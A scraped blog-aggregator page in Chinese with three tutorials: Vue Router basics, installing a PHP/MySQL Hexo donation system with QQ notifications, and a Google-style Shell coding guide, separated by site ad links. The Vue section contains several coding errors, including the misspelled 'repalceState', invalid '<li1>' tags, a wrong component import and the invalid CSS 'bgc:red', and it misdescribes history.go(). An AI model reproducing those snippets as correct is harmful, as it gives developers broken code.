標籤: 銷售文案

  • Vue —— 精講 VueRouter(1)

    最近被Boos調去給新人做培訓去了,目前把自己整理的一些東西分享出來,希望對大家有所幫助

    demo源代碼地址:https://github.com/BM-laoli/BMlaoli-learn-VueRouter

    本章節為VueRouter前端 路由的章節部分

    大綱

    一、基本概念

    路由就是通過網絡把訊息從源地址傳輸到目的地的活動
    需要一些映射表

    1. 做路由
    2. 做信息的轉發(核心就是:轉發)

    後端路由還有前端路由,後端渲染和前端渲染

    前端渲染(前後端分離API生態),後端渲染(view嵌套一起)

    前端路由的核心概念
    地址變化的時候改變url的時候,不進行整體頁面刷新

    改變url但是不刷新頁面,的解決方式

    我們有這樣的一個需求,改變url跳轉地址,我們獲取新的頁面,但是不希望頁面發生刷新

    解決方案1:locaion.hash = ‘/’

    這個是vueRouter的底層實現

    監聽hash的變化,從而改變網頁數據的獲取機制,渲染對應的組件,

    解決方案2:H5的histroray模式

    1. pushState
      history.pushState({},”,’home’),第三個參數就是url

    這裏的push實際上就是一個棧結構(先進后出),

    假設我們這裏需要回去,使用back()彈棧

    history.pushState({},'','home'),
    history.pushState({},'','about'),
    history.pushState({},'','user'),
    
    //執行這個之後就能進行back()出棧了
    history.back(),
    // 此時的url是 /about
    
    
    1. repalceState

    這裡有一個方法和push方法很像,但是不會back()不能點擊後腿按鈕

    history.repalceState({},'','user'),
    
    1. go

    這裏的go是對棧的一個操作,
    go(-1)彈出一個
    go(-2)彈出二個

    go(1)壓入一個
    go(2)壓入二個

    go(-1)
    

    以上就是我們的基本的前端路由原理

    二、v-router基本使用

    前端三大框架都有自己的router,可以用來構建SPA應用

    使用小提示,還是非常非常的簡單的:

    1. 如果你沒有安裝就需要 npm install vue-router去安裝
      • 導入路由對象,並且調用Vue.use(VueRouter)安裝這個路由插件
      • 創建路由實例,傳入映射配置wxain
      • 在vue實例中掛載創建好了的路由

    1.導入路由對象,並且配置optionn給路由

    /router/index.js

    
    /**
     * 配置路由相關的信息
     */
    // 1. 導入
     import Router from 'vue-router'
     
     // 2.1 導入vue實例
    import Vue from 'vue'
    
    // 導入組件
    import Home from '../components/Home.vue'
    import About from '../components/About.vue'
    
    
    // 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
    Vue.use(Router)
    
    // 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西
    
    // 4. 抽離配置項出來
    const routes = []
    
    const router = new Router({routes})
    
    //4. 導出
    export default router 
     
    
    

    2.配置路由映射

    /router/index.js

    const routes = [
     
     {path:'/home',component:Home},
     {path:'/about',component:About},
    
    ] 
    

    3.在實例中使用路由

    /main.js

    import Vue from 'vue'
    import App from './App'
    import router from './router'//注意啊模塊查找規則index.js
    
    Vue.config.productionTip = false
    
    /* eslint-disable no-new */
    new Vue({
      el: '#app',
      router,// 主要是在這裏掛載進去就好了
      render: h => h(App)
    }) 
    

    4.小心,我們的路由入口還有連接link

    /App.vue

    
    <template>
      <div id="app">
        <!-- //這兩個是一個全局祖冊過着個組件,這個就是一個a標籤 -->
        <router-link to='/home'>首頁</router-link>
        <router-link to='/about'>關於</router-link>
        <!-- 路由出口,既:渲染的出口,這個就是一個佔位符號 -->
        <router-view></router-view>
      </div>
    </template>
    
    

    以下是我們的兩個組件

    /Home.vue

    <template>
        <div>
            <h2>我是首頁</h2>
            <p>我是首頁內容哈哈哈</p>
        </div>
    </template>
    
    <script>
        export default {
            
        }
    </script>
    
    <style scoped>
    
    </style>
    

    /About.vue

    <template>
        <div>
            <h2>我是關於頁面</h2>
            <p>我是首關於內容哈哈哈</p>
        </div>
    </template>
    
    <script>
        export default {
            
        }
    </script>
    
    <style>
    
    </style>
    

    以上就是我們非常簡單的使用

    三、其它的知識點補充

    路由的默認值,並且修改成mode=>hisary模式

    我們希望默認显示的就是一個首頁
    解決方式,映射一個’/’,然後進行重定向
    /index.js

      {
        path:'/',
        redirect:'/home'
      },
    

    我們為什麼要去做這調整成一個history,因為我們希望去掉#這個標識

    只需要在new 的時候指定一下就好了
    /index,js

    const router = new Router({
      routes,
      mode:"history"//就是這裏的這個更改路由方式
    })
    

    router-link的屬性

    1. tage
      to是一個屬性 ,默認是渲染成一個a鏈接,假設我現在需要默認渲染成一個buttmm怎麼辦呢?
      加一個tag就好了
        <router-link to='/home' tag='button'  >首頁</router-link>
    
    1. 更改模式replceStats 不允許瀏覽器回退
      replace加上去就好了
    <router-link to='/about' tag='button' replace >關於</router-link>
    
    1. 我們可以利用一些默認的東西去非常方便的做到想要的效果
    <style>
    .router-link-active{
      color: blue;
    }
    </style>
    

    替換值:我們希望不要怎麼長,我們希望.active就能改樣式怎麼搞?
    加一個active-calss就好了,這個直接就是acitve做為類就好了

     <router-link to='/home' tag='button'  active-class  >首頁</router-link>
     <style>
        .active{
            bgc:red
        }
     </style>
    

    代碼路由跳轉,意思就是重定向

    注意啊!route != router
    在我們學習路由的時候,this.$router是一個非常重要的對象

    這個東西在開中經常的使用

    // this.$router.push('重定向的值就好了')。
    // this.$router.push('/home')
    // 如果你不想有出現回退按鈕,這樣來做就好了
    this.$router.replace('/home')
    

    四、動態路由參數

    這裏只是簡單的介紹了理由傳參的地址欄拼接模式,但是還有更多更奇奇怪怪的傳值方式,詳見官方Router文檔,

    this.$router.parmas
    // 這個parmas裏面就是我們的路由參數存放點
    

    這裏我們有這樣的一個需求,我們希望點擊user頁面的時候可以,得到任意的路由參數

    比如我們現在/user/zhnsang,的時候可以獲取zhangshang,/user/lishi的時候可以獲取lishi>

    1. 首先我們需要在路由裏面加:
      /router/index.js
       {
            path: "/user/:usermsg",
            component: User
        }
    ]
    
    1. 頁面傳遞數據
      /App.vue
    router-link :to="'/user/'+username">用戶相關</router-link>
    <!-- 路由出口,既:渲染的出口,這個就是一個佔位符號 -->
    <router-view></router-view>
      </div>
    </template>
    
    <script>
    export default {
      name: 'App',
      data() {
        return {
          username: 'lisi'
        }
      },
    
    
    1. 頁面獲取數據

    一定要注意了,一定是rouer裏面定義的才能從另一路由拿出來

    /User.vue

    
    <template>
        <div>
            <h2>我是用戶相關專業</h2>
            <p>我是用戶訊息相關頁面,嘿嘿嘿嘿嘿</p>
            <h1>{{ $route.params.usermsg }}44</h1>
            <hr>
            <h2>{{username}}</h2>
        </div>
    </template>
    
    <script>
        export default {    
            computed: {
                username() {
                    return this.$route.params.usermsg
                }
            },
        }
    </script>
    
    <style scpoe>
    
    </style>
    

    五、細節詳解

    注意啊!再說一遍route != router

    注意啊,這裏的$route實際上是我們在main裏面new的一個Router得到的,
    並且 這個route對象是隨着請求的地方不一樣,而改變的。也就是說,這個的route是當前頁面中的route對象,而且在vue只能只有一個route實例存在

    六、 Vue的webpack打包詳解 + 路由懶加載

    一個vue項目的簡單打包目錄結構分析

    我們來看看,在一個vue項目中,簡單的三個文件是怎麼打包的

    假設目前有這樣的三個文件 ,我們需要對他們進行打包,mian是入口,有一個add業務,有一個math依賴模塊。那麼我們webpack打包成的三個文件到底是如何運行的呢?

    在vue中 使用webpack打包的時候,會把一些東西給分模塊的打包出來,它打包的東西的目錄結構如下
    裏面我們實際打包的時候會把css,js都給分開,各自有各自的作用

    | dist
    | ---static
    | ---css
    | ---js
    | -----app.XXXX.js         (這個是項目的業務邏輯所在)
    | -----manifest.xxxx.js    (這個是底層打包的依賴文件所在)
    | -----vendor.xxxx.js      (這個是依賴所在)
    | idnex.html
    

    路由懶加載

    1. 概念的理解

    目前呢,我們打包的情況是這樣的:我們所有的代碼都是集中放在了以一個app.xxx.js文件中,這樣其實不利於後期的維護和開發,因為如果我們有很多很多的大量的代碼的時候,我們的這個文件就會變得非常非常的大,於是呢,我們就需要路由懶加載,所謂懶加載就是:‘在需要的時候,才去加載某個資源文件’,路由懶加載,就是把每一個路由對應的業務邏輯代碼,在打包的時候分割到不同的js文件中,如何在需要用的時候再去請求它

    經過這樣的打包的懶加載之後,我們的目錄會變成這個樣子

    | dist
    | ---static
    | ---css
    | ---js
    | -----0.xxx.js            (假設是路由home的業務邏輯代碼)
    | -----1.xxx.js             (假設是路由about的業務邏輯代碼)
    | -----app.XXXX.js         (這個是項目的業務邏輯所在)
    | -----manifest.xxxx.js    (這個是底層打包的依賴文件所在)
    | -----vendor.xxxx.js      (這個是依賴所在)
    | idnex.html
    
    1. 如何使用

    使用非常的簡單,主要有如下的三種方式去使用,但是我最喜歡的還是最後一種方式
    /rouetr/index.js

    - 使用vue的異步組價和webpack的寫法,早期的時候
    const Home = resolve =>{ require.ensure(['../compenet/Home.vue'],()=>{
       resolve (require('../compenet/Home.vue'))
    })}
    
    - AMD規範的寫法
    const About = resolve =>{ require(['../compenent/About.vue'],resolve) }
    
    
    - ES6的結合異步組件的方式(最常用)
    const Home = () => import('../compenet/Home.vue')
    

    實際的使用
    /router/index.js

    /**
     * 配置路由相關的信息
     */
    // 1. 導入
    import Router from 'vue-router'
    
    // 2.1 導入vue實例
    import Vue from 'vue'
    
    // 導入組件
    // import Home from '../components/Home.vue'
    // import About from '../components/About.vue'
    // import User from '../components/User'
    const Home = () =>
        import ('../components/Home.vue')
    const About = () =>
        import ('../components/About.vue')
    const User = () =>
        import ('../components/User')
    
    
    // 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
    Vue.use(Router)
    
    // 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西
    
    // 4. 抽離配置項出來
    const routes = [{
            path: '/',
            redirect: '/home'
        },
        {
            path: '/home',
            component: Home
        },
        {
            path: '/about',
            component: About
        },
        {
            path: "/user/:usermsg",
            component: User
        }
    ]
    
    const router = new Router({
        routes,
        mode: "history"
    })
    
    //4. 導出
    export default router
    
    //6. 去main裏面掛載
    

    七、 路由嵌套

    我們目前有這樣的一個需求:我們希望我們在hone下,可以/home/new去到home下的一個子組件,/home/message去到另一個子組件

    1. 首先 我們需要有組件
      /components/HomeMessage.vue
    <template>
        <div>
          <ul>
              <li1>我是消息1</li1>
              <li2>我是消息2</li2>
              <li3>我是消息3</li3>
              <li4>我是消息4</li4>
          </ul>
        </div>
    </template>
    
    <script>
        export default {
            name:"HomeMessage"
        }   
    </script>
    
    <style>
    
    </style>
    
    

    /components/HomeNews

    <template>
        <div>
        <ul>
            <li1>新1</li1>
            <li2>新2</li2>
            <li3>新3</li3>
            <li4>新4</li4>
            <li5>新5</li5>
        </ul>
        </div>
    </template>
    
    <script>
        export default {
            name:"HomeNews"
        }
    </script>
    
    <style>
    
    </style>
    
    1. 在路由裏面去配置
    const HomeNews = () =>
        import ('../components/HomeNews')
    const HomeMessage = () =>
        import ('../components/HomeNews')
    
    
    // 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
    Vue.use(Router)
    
    // 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西
    
    // 4. 抽離配置項出來
    const routes = [{
            path: '/',
            redirect: '/home'
        },
        {
            path: '/home',
            component: Home,
            children: [{
                    path: '',
                    redirect: 'news'
                },
                {
                    path: 'news',// 這裏寫路由實際上應該是/home/news,這裏只是一個相對路由地址,
                    component: HomeNews
                },
                {
                    path: 'message',
                    component: HomeMessage
                },
    
            ]
        },
        {
    
    1. 打入口router-view(瞎起的名字實際上就是路由的佔位符)
      /Home.vue
    <template>
        <div>
            <h2>我是首頁</h2>
            <p>我是首頁內容哈哈哈</p>
         <router-link to="/home/news">news</router-link>
         <router-link to="/home/message">message</router-link>
        <router-view></router-view>
        </div>
    </template>
    
    <script>
        export default {
            
        }
    </script>
    
    <style scoped>
    
    </style>
    

    這裏如果是有關狀態的保持,我們需要使用key-alive,後面我們再做詳細的講解

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    南投搬家公司費用需注意的眉眉角角,別等搬了再說!

    ※教你寫出一流的銷售文案?

  • 給你看看小白博主開發的打賞系統

    給你看看小白博主開發的打賞系統

    本文章最初發表在XJHui’s Blog,未經允許,任何人禁止轉載!

    為使您獲得最好的閱讀體驗,強烈建議您點擊 這裏 前往 XJHui’s Blog 查看!

    Hexo-Donate

    打賞系統;打賞並填寫問卷后信息可以自動在打賞列表中展示;

    GitHub項目地址:https://github.com/xingjiahui/Hexo-Donate

    寫在前面

    1. 作者是大二軟工學生,在代碼規範系統強壯性等方面肯定存在欠缺,但也在努力提升自己能力。

    2. 自己的 個人博客 搭建好后,又用之前學的Web前端知識寫了打賞頁面,思路是:

      給 IamZLT 體驗后,也是覺得體驗不太友善(從填寫問卷到看到自己的打賞信息需要等待的時間太長)

      決定改版,從05.2706.02用一周的時間從確定思路測試思路可行性,從測試版發布再到功能完善,最終有了此系統。

      新版本思路:

    3. 系統用到的數據庫PHP等方面知識我還是個小白,但能憑自己能力把它實現出來就已經很滿意了。

    4. 問題或不足歡迎開 issues 或到 XJHui’s Blog 留言。

    關於系統

    理論上不管什麼框架,只要有一個空白頁面就能安排上…

    打賞列表demo:https://xingjiahui/donate

    問卷頁面demo:https://donate.xingjiahui.top

    後台管理暫時需要操作數據庫(可視化界面),如有必要可以添加後端管理頁面

    已支持的功能

    1. 打賞列表可統計總打賞人數打賞金額
    2. 不同打賞方式字體显示顏色不同
    3. 填寫打賞問卷並成功上傳,可在打賞列表中显示填寫的信息
    4. 數據上傳成功后,博主會收到QQ消息提醒

    待更新內容

    1. 區分已核實未核實金額
    2. 豐富QQ消息提醒內容
    3. 接入微信推送
    4. 支持自動審核

    系統界面圖

    1. 打賞列表:

    2. 問卷頁面:

    3. 操作GIF實錄:

    注:QQ消息提醒內容以後會豐富。

    安裝系統要求

    1. 虛擬主機(有免費版本在這裏 購買 )或 雲服務器(小白建議安裝寶塔面板)
    2. 打賞列表準備一個頁面

    使用該系統

    教程中用到的免費虛擬主機維護結束,已開放購買。

    下載並上傳

    1. 在項目頁clone or download選擇Download ZIP

    2. 在虛擬主機控制面板選擇在線文件管理器並進入www目錄下:

      解壓后如圖:

      框選出的文件/文件夾可刪除

    導入數據庫

    點擊donate_info.sql文件后的導入,提示輸入數據庫密碼

    當你開通虛擬主機時,會看到如下頁面:

    將這個密碼填入,即可導入成功(無視警告):

    為了便於測試,導入的數據庫中自帶了兩條數據:

    系統測試完成后請刪除!

    搭建問卷網站

    其實,將項目文件導入后,網站已經搭建完成:

    但訪問這個頁面需要域名,依次點擊控制面板基本功能域名綁定,就能看到自己網站的域名啦:

    瀏覽器訪問這個域名就能看到上面那個頁面了,但並不代表系統就弄好了!

    配置虛擬主機

    回到面板首頁,找到賬戶主機信息

    將右下角的PHP版本更換為php73

    注:如果不知道怎麼回主面板,點擊上圖左上角頭像試試!

    以下操作需要在www目錄下完成!

    1. 配置getJsonData.php

      點擊編輯

      找到下圖框選出的位置:

      還記得賬戶主機信息么,將對應的信息替換。

    2. 配置regist.php

      點擊編輯,找到下圖框選出的位置:

      下圖位置也要修改:

    3. 測試數據庫是否配置成功

      訪問上面那個域名,填寫上信息:

      上傳,判斷是否配置成功:

      ​ 注意:只要是提示錯誤/警告一定是操作問題,認真檢查。

    4. 檢查數據導出是否正常:

      瀏覽器訪問:域名/getJsonData.php

      查看能否導出數據庫內容:

    目前為止,打賞頁面數據庫已經配置好了,最後就是在前端把數據庫中的數據展現出來。

    編輯前端頁面

    1. forkgithub項目:

    2. 編輯pageJs.js文件

      點擊下圖位置可以在線修改文件:

      修改內容為:

    3. 編輯下面的代碼並粘貼到前面準備的空白頁面:

      Hexo框架下無論post(博客)還是page(頁面)都是markdown格式,但markdown兼容html提供了很大的便利性。

      修改下圖位置代碼:

      粘貼到空白頁面(markdown/html均可):

      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/sviptzk/HexoStaticFile@master/Hexo/css/custom.min.css">
      <p>截至 <span class="inline-tag red">nowDate</span>,共收到來自 <span class="inline-tag red">personNum</span>位小夥伴的打賞,金額為
          <span class="inline-tag red">sumDonate</span> 元!</p>
      <table>
          <thead>
          <tr>
              <th align="center">用戶名</th>
              <th align="center">打賞方式</th>
              <th align="center">打賞金額</th>
              <th align="center">賞金去向</th>
          </tr>
          </thead>
      </table>
      <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js"></script>
      <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/改成你的github用戶名/Hexo-donate@latest/pageJs.js"></script>
      

      注意:上面引用css不符合規範,但暫時沒有找到替代的方法。

    4. 檢查前端頁面是否能夠正常显示數據:

    提醒功能

    1. 到 Qmsg醬 這裏登陸並選擇一個Qmsg醬小姐姐

    2. 添加一個QQ號,然後添加1中的選擇的小姐姐為好友:

      注意:登陸賬號(如果QQ登陸)添加的賬號都要添加“她”為好友。

    3. 點擊文檔,用接口地址替換下面代碼中的接口地址

      echo '<script>function Qmsg(){var xhr=new XMLHttpRequest();url="接口地址?msg=收到新的打賞啦!";url=encodeURI(url);xhr.open("GET",url,true);xhr.send()}Qmsg();</script>';
      
    4. www目錄下編輯regist.php文件,將上面的代碼粘貼在下圖位置:

    後期使用

    1. 填寫打賞問卷后,點擊返回打賞列表會跳轉到作者的打賞列表:

      想修改為自己的,可以修改虛擬主機www目錄下的index.html文件:

    2. 後期維護:

      當有人打賞后,根據填寫的打賞方式去賬戶看有沒有到賬。

      • 收到打賞:將數據庫中donate_confirm字段修改為YES

      • 未收到打賞:在數據庫中將該記錄刪除

    至此,Hexo-Donate打賞系統全部安裝完成!

    感謝

    愛網雲、JsDelivr、Qmsg醬、亂世中的單純

    FLORIN POP、濤歌依舊、Yiven、程序小能手

    怪我咯、SweetAlert2、BigShow、百度經驗

    不足之處,歡迎留言,會及時回復,及時更正!

    創作不易,感謝支持!

    本文由博客群發一文多發等運營工具平台 OpenWrite 發布

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • Shell語法規範

    • ver:1.0
    • 博客:https://www.cnblogs.com/Rohn
    • 本文介紹了Shell編程的一些語法規範,主要參考依據為谷歌的Shell語法風格。

    目錄

    • 背景
      • 使用哪一種Shell
      • 什麼時候使用Shell
    • 註釋
      • 頂層註釋
      • 功能註釋
      • TODO註釋
    • 格式
      • 縮進
      • 行的長度和長字符串
      • 管道
      • 循環
        • if-else語句
        • for-do和while-do語句
      • case語句
      • 變量擴展
    • 特性
      • 命令替換
      • 文件名的通配符擴展
    • 命名約定
      • 函數名
      • 變量名
      • 常量和環境變量名
      • 源文件名
      • 只讀變量
      • 使用本地變量
    • 調用命令
      • 檢查返回值

    背景

    博客:https://www.cnblogs.com/Rohn

    使用哪一種Shell

    可執行文件必須以 #!/bin/bash 和最小數量的標誌開始。請使用 set 來設置shell的選項,使得用 <script_name>調用你的腳本時不會破壞其功能。

    推薦使用:

    #!/usr/bin/env bash
    

    env一般固定在/usr/bin目錄下,而其餘解釋器的安裝位置就相對不那麼固定。

    限制所有的可執行Shell腳本為bash使得我們安裝在所有計算機中的shell語言保持一致性。

    無論你是為什麼而編碼,對此唯一例外的是當你被迫時可以不這麼做的。其中一個例子是Solaris SVR4包,編寫任何腳本都需要用純Bourne shell

    [root@test ~]# echo $SHELL
    /bin/bash
    

    什麼時候使用Shell

    使用Shell需要遵守的一些準則:

    • 如果你主要是在調用其他的工具並且做一些相對很小數據量的操作,那麼使用Shell來完成任務是一種可接受的選擇。
    • 如果你在乎性能,那麼請選擇其他工具,而不是使用Shell。
    • 如果你發現你需要使用數據而不是變量賦值(如 ${PHPESTATUS} ),那麼你應該使用Python腳本。
    • 如果你將要編寫的腳本會超過100行,那麼你可能應該使用Python來編寫,而不是Shell。

    請記住,當腳本行數增加,儘早使用另外一種語言重寫你的腳本,以避免之後花更多的時間來重寫。

    註釋

    博客:https://www.cnblogs.com/Rohn

    Bash只支持單行註釋,使用#開頭的都被當作註釋語句。

    頂層註釋

    每個文件必須包含一個頂層註釋,對其內容進行簡要概述。版權聲明和作者信息是可選的。
    例如:

    #!/usr/bin/env bash
    # Author: Rohn
    # Version: 1.0
    # Created Time: 2020/06/06
    # Perform hot backups of MySQL databases.
    
    • 第1行,指明解釋器,使用bash

    #!叫做”Shebang”或者”Sha-bang”(Unix術語中,#號通常稱為sharp,hash或mesh;而!則常常稱為bang),指明了執行這個腳本文件的解釋程序。當然,如果使用bash test.sh這樣的命令來執行腳本,那麼#!這一行將會被忽略掉。

    • 第2-5行,分別為作者、版本號、創建時間、功能說明。

    功能註釋

    任何不是既明顯又短的函數都必須被註釋。任何庫函數無論其長短和複雜性都必須被註釋。

    其他人通過閱讀註釋(和幫助信息,如果有的話)就能夠學會如何使用你的程序或庫函數,而不需要閱讀代碼。

    所有的函數註釋應該包含:

    • 函數的描述
    • 全局變量的使用和修改
    • 使用的參數說明
    • 返回值,而不是上一條命令運行后默認的退出狀態

    例如:

    #!/usr/bin/env bash
    # Author: Rohn
    # Version: 1.0
    # Created Time: 2020/06/06
    # Perform hot backups of Oracle databases.
    
    export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin'
    
    #######################################
    # Cleanup files from the backup dir
    # Globals:
    #   BACKUP_DIR
    #   ORACLE_SID
    # Arguments:
    #   None
    # Returns:
    #   None
    #######################################
    cleanup() {
      ...
    }
    

    TODO註釋

    TODOs應該包含全部大寫的字符串TODO,接着是括號中你的用戶名。冒號是可選的。最好在TODO條目之後加上bug或者ticket的序號。

    例如:

    # TODO(mrmonkey): Handle the unlikely edge cases (bug ####)
    

    格式

    博客:https://www.cnblogs.com/Rohn

    縮進

    縮進兩個空格,沒有製表符。例如:

    if [ a > 1 ];then
      echo '${a} > 1'
    fi
    

    行的長度和長字符串

    行的最大長度為80個字符。例如:

    # DO use 'here document's
    cat <<END;
    I am an exceptionally long
    string.
    END
    
    # Embedded newlines are ok too
    long_string="I am an exceptionally
      long string."
    

    管道

    如果一行容不下整個管道操作,那麼請將整個管道操作分割成每行一個管段。

    應該將整個管道操作分割成每行一個管段,管道操作的下一部分應該將管道符放在新行並且縮進2個空格。這適用於使用管道符|的合併命令鏈以及使用||&&的邏輯運算鏈。

    例如:

    # All fits on one line
    command1 | command2
    
    # Long commands
    command1 \
      | command2 \
      | command3 \
      | command4
    

    循環

    if-else語句

    if; then放在同一行,;后空一格,else單獨一行,fi單獨一行,並與if垂直對齊。即:

    if condition; then
      statement(s)
    else
      statement(s)
    fi
    

    for-do和while-do語句

    while/for; do放在同一行,donewhile/for垂直對齊,即:

    # while structure
    while condition; do
      statement(s)
    done
    
    # for structure
    for condition; do
      statement(s)
    done
    

    例如:

    for dir in ${dirs_to_cleanup}; do
      if [[ -d "${dir}/${ORACLE_SID}" ]]; then
        log_date "Cleaning up old files in ${dir}/${ORACLE_SID}"
        rm "${dir}/${ORACLE_SID}/"*
        if [[ "$?" -ne 0 ]]; then
          error_message
        fi
      else
        mkdir -p "${dir}/${ORACLE_SID}"
        if [[ "$?" -ne 0 ]]; then
          error_message
        fi
      fi
    done
    

    case語句

    • 通過2個空格縮進可選項。
    • 在同一行可選項的模式右圓括號之後和結束符 ;;之前各需要一個空格。
    • 長可選項或者多命令可選項應該被拆分成多行,模式、操作和結束符;;在不同的行。

    匹配表達式比caseesac 縮進一級。多行操作要再縮進一級。一般情況下,不需要引用匹配表達式。模式表達式前面不應該出現左括號。避免使用;&;;&符號。即:

    # case structure
    case in expression in
      pattern1)
        statement1
        ;;
      pattern2)
        statement2
        ;;
      ...
      *)
        statementn
        ;;
    esac
    

    例如:

    case "${expression}" in
      a)
        variable="..."
        some_command "${variable}" "${other_expr}" ...
        ;;
      absolute)
        actions="relative"
        another_command "${actions}" "${other_expr}" ...
        ;;
      *)
        error "Unexpected expression '${expression}'"
        ;;
    esac
    

    只要整個表達式可讀,簡單的命令可以跟模式和;; 寫在同一行。這通常適用於單字母選項的處理。當單行容不下操作時,請將模式單獨放一行,然後是操作,最後結束符;; 也單獨一行。當操作在同一行時,模式的右括號之後和結束符;;之前請使用一個空格分隔。

    verbose='false'
    aflag=''
    bflag=''
    files=''
    while getopts 'abf:v' flag; do
      case "${flag}" in
        a) aflag='true' ;;
        b) bflag='true' ;;
        f) files="${OPTARG}" ;;
        v) verbose='true' ;;
        *) error "Unexpected option ${flag}" ;;
      esac
    done
    

    變量擴展

    按優先級順序:保持跟你所發現的一致;引用你的變量;推薦用${var}而不是$var

    例如

    # Section of recommended cases.
    
    # Preferred style for 'special' variables:
    echo "Positional: $1" "$5" "$3"
    echo "Specials: !=$!, -=$-, _=$_. ?=$?, #=$# *=$* @=$@ \$=$$ ..."
    
    # Braces necessary:
    echo "many parameters: ${10}"
    
    # Braces avoiding confusion:
    # Output is "a0b0c0"
    set -- a b c
    echo "${1}0${2}0${3}0"
    
    # Preferred style for other variables:
    echo "PATH=${PATH}, PWD=${PWD}, mine=${some_var}"
    while read f; do
      echo "file=${f}"
    done < <(ls -l /tmp)
    
    # Section of discouraged cases
    
    # Unquoted vars, unbraced vars, brace-quoted single letter
    # shell specials.
    echo a=$avar "b=$bvar" "PID=${$}" "${1}"
    
    # Confusing use: this is expanded as "${1}0${2}0${3}0",
    # not "${10}${20}${30}
    set -- a b c
    echo "$10$20$30"
    

    特性

    博客:https://www.cnblogs.com/Rohn

    命令替換

    使用 $(command)而不是反引號。

    嵌套的反引號要求用反斜杠轉義內部的反引號。而$(command) 形式嵌套時不需要改變,而且更易於閱讀。

    例如:

    # This is preferred:
    var="$(command "$(command1)")"
    
    # This is not:
    var="`command \`command1\``"
    

    文件名的通配符擴展

    當進行文件名的通配符擴展時,請使用明確的路徑。

    因為文件名可能以-開頭,所以使用擴展通配符./**來得安全得多。

    # Here's the contents of the directory:
    # -f  -r  somedir  somefile
    
    # This deletes almost everything in the directory by force
    psa@bilby$ rm -v *
    removed directory: `somedir'
    removed `somefile'
    
    # As opposed to:
    psa@bilby$ rm -v ./*
    removed `./-f'
    removed `./-r'
    rm: cannot remove `./somedir': Is a directory
    removed `./somefile'
    

    命名約定

    博客:https://www.cnblogs.com/Rohn

    函數名

    使用小寫字母,並用下劃線分隔單詞。使用雙冒號 :: 分隔庫。函數名之後必須有圓括號。關鍵詞 function 是可選的,但必須在一個項目中保持一致。

    如果你正在寫單個函數,請用小寫字母來命名,並用下劃線分隔單詞。如果你正在寫一個包,使用雙冒號 :: 來分隔包名。大括號必須和函數名位於同一行(就像在Google的其他語言一樣),並且函數名和圓括號之間沒有空格。

    # Single function
    my_func() {
      ...
    }
    
    # Part of a package
    mypackage::my_func() {
      ...
    }
    

    當函數名后存在 () 時,關鍵詞 function 是多餘的。但是其促進了函數的快速辨識。

    變量名

    使用小寫字母,循環的變量名應該和循環的任何變量同樣命名。例如:

    for zone in ${zones}; do
      something_with "${zone}"
    done
    

    常量和環境變量名

    全部使用大寫字母,用下劃線分隔,聲明在文件的頂部。例如:

    # Constant
    readonly PATH_TO_FILES='/some/path'
    
    # Both constant and environment
    declare -xr ORACLE_SID='PROD'
    

    源文件名

    使用小寫字母,如果需要的話使用下劃線分隔單詞。例如: maketemplate 或者 make_template ,而不是 make-template

    只讀變量

    使用小寫字母,使用 readonly 或者 declare -r 來確保變量只讀。

    因為全局變量在Shell中廣泛使用,所以在使用它們的過程中捕獲錯誤是很重要的。當你聲明了一個變量,希望其只讀,那麼請明確指出。

    zip_version="$(dpkg --status zip | grep Version: | cut -d ' ' -f 2)"
    if [[ -z "${zip_version}" ]]; then
      error_message
    else
      readonly zip_version
    fi
    

    使用本地變量

    使用小寫字母,使用 local 聲明特定功能的變量。聲明和賦值應該在不同行。

    使用 local 來聲明局部變量以確保其只在函數內部和子函數中可見。這避免了污染全局命名空間和不經意間設置可能具有函數之外重要性的變量。

    當賦值的值由命令替換提供時,聲明和賦值必須分開。因為內建的 local 不會從命令替換中傳遞退出碼。

    my_func2() {
      local name="$1"
    
      # Separate lines for declaration and assignment:
      local my_var
      my_var="$(my_func)" || return
    
      # DO NOT do this: $? contains the exit code of 'local', not my_func
      local my_var="$(my_func)"
      [[ $? -eq 0 ]] || return
    
      ...
    }
    

    調用命令

    博客:https://www.cnblogs.com/Rohn

    檢查返回值

    對於非管道命令,使用$?或直接通過一個if語句來檢查以保持其簡潔。例如:

    if ! mv "${file_list}" "${dest_dir}/" ; then
      echo "Unable to move ${file_list} to ${dest_dir}" >&2
      exit "${E_BAD_MOVE}"
    fi
    
    # Or
    mv "${file_list}" "${dest_dir}/"
    if [[ "$?" -ne 0 ]]; then
      echo "Unable to move ${file_list} to ${dest_dir}" >&2
      exit "${E_BAD_MOVE}"
    fi
    

    Bash也有 PIPESTATUS 變量,允許檢查從管道所有部分返回的代碼。如果僅僅需要檢查整個管道是成功還是失敗,以下的方法是可以接受的:

    tar -cf - ./* | ( cd "${dir}" && tar -xf - )
    if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
      echo "Unable to tar files to ${dir}" >&2
    fi
    

    可是,只要你運行任何其他命令, PIPESTATUS 將會被覆蓋。如果你需要基於管道中發生的錯誤執行不同的操作,那麼你需要在運行命令后立即將 PIPESTATUS 賦值給另一個變量(別忘了 [ 是一個會將 PIPESTATUS 擦除的命令)。

    tar -cf - ./* | ( cd "${DIR}" && tar -xf - )
    return_codes=(${PIPESTATUS[*]})
    if [[ "${return_codes[0]}" -ne 0 ]]; then
      do_something
    fi
